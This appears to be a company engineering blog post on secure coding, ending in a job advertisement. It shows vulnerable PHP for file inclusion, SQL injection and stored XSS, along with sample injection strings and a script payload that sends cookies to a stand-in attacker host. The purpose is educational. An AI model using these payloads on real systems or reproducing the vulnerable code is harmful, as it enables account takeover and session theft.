Security is a big issue for all developers when writing code. Any senior web engineer is familiar with common security problems like SQL injections, XSS vulnerabilies, LFI, Session poisoning, just to name a few.
We are not going to get into these right now since the web is already full of resources describing how much damage they can do and how to avoid the danger. We all know what they are made of and how they work. Still, if we write code with that in mind, does it automatically make it secure too? Can we really create a secure software product just by doing that?
Where Trouble Starts
In the VoipNow team, we have learned over the years that each developer has her/his own way of coding and approach to problems. When code is integrated, issues arise mainly because of the insufficient validation that is being performed at certain levels. At the same time, the way various modules communicate and work with each other may lead to misunderstandings and vulnerability issues.
On the other hand, third-party libraries have their own code base and their own vulnerabilities.
In short, to create safer software products we need to somehow address all these problems one way or another. Acknowledging them is not enough!
Vulnerability Scanner Software
The VoipNow team is obviously not the first one to have dealt with such problems. Many big software companies tried to find a better solution. This is how a great collection of software products that scan for vulnerabilities and security issues have been developed. They scan for common issues using various techniques.
These are very useful tools that can help discover a lot of problems and can analyze a large system within a certain time-frame. Obviously, many of the things they manage to identify are false positives, but this can be usually discovered quite fast at a code review.
So scanners are helpful, but unfortunately they are not enough.
Becoming A WhiteHat
Sometimes building stuff is not enough, in this case you have to break in. This is where the fun begins: stepping into the shoes of an attacker and trying to gain access to the system without proper permissions. 🙂
A Very Simple Example
We can only imagine what happens when inputs are not validated. Let’s look at the following PHP code:
$filename = $_GET['filename'];
require($filename);
On its own, this code is not dangerous unless the attacker can find a way to write in a file that can be included there. For instance, a web server configuration that allows inclusion of access.log can be the success key for an attacker. Why? Just think of a very simple method of writing PHP code into access.log and you’ll find the answer.
SQL Injection In PHP
The use of the MySQL library functions provided by PHP does not allow the execution of multiple queries unless a specific method is applied. This may lead to the conclusion that an injection is not possible, which is wrong.
Think of a multi-tenant system where a low privileged user would like to gain administrator access. If the system uses the same table for storing authentication information and has a possible injection in the code updating the password, the administrator’s password or email can be changed with a simple modified query. Consider the example below:
// assume that the original query is:
$query = 'UPDATE user SET email="'.$email.'", password=MD5("'.$newpassword.'") WHERE id='.$_GET['id'];
//failed attack example, will only generate error, none of the queries is executed
$_GET['id'] = '1; UPDATE user SET email="attacker@demoattackserver.com" WHERE username="admin"';
// success attack example, will gain admin access
$_GET['id'] = '1 OR username="admin"';
// success attack example, will change email address for all accounts
$_GET['id'] = '1 OR 1';
With little knowledge on the database structure, a regular user can gain admin access and perform unauthorized actions. The admin may not even notice that somebody hijacked their account.
Session Hijacking Prevention
Now, let’s see an XSS attack combined with a loose authentication check. Assuming that we have the following PHP code:
$userNote = $_POST['user_note'];
$query = 'INSERT INTO userNotes (id, userID, note)
VALUES (NULL, '.$userId.', "'.mysql_real_escape_string($userNote).'");
$result = mysql_query($query)
Later, on some page, the user’s notes are displayed using the following code:
$query = 'SELECT * FROM userNotes WHERE userID='.$userId;
$result = mysql_query($query);
while ($data = mysql_fetch_assoc($result)) {
echo "Note:". $data['note'];
}
The first block of code seems safe; it is protected against SQL injections. However, if the content written in the database is displayed in HTML, it is vulnerable for XSS and the attacker can store content in a note as shown below:
<script>window.open('http://attaker.smt/maliciusScript.php?cookie='+document.cookie)</script>
When the admin logs in and accesses the page where notes are displayed, the attacker will send the administrator’s cookie to a server of his own.
This could not work if the system had a strong authentication validation. When the system associates the cookie with other information like the IP address of the client that created the cookie, browser information and other client-side information, the attacker can no longer use that cookie and impersonate as an administrator.
Although discovering a weakness may sometimes take days, the satisfaction you get from finding it is priceless. It is by far greater than the feeling of contentment you experience when you fix the problem, as most vulnerabilities can be fixed very fast.
No Magic Bullet
In the end, there is no complete solution to avoid security problems. The best thing is to make all developers highly security aware.
If you want to be one of the good guys helping us build safer products, check out our Security Engineer position. Even if you do not want to make security your full time job, we have plenty of other engineering opportunities .
Post A Reply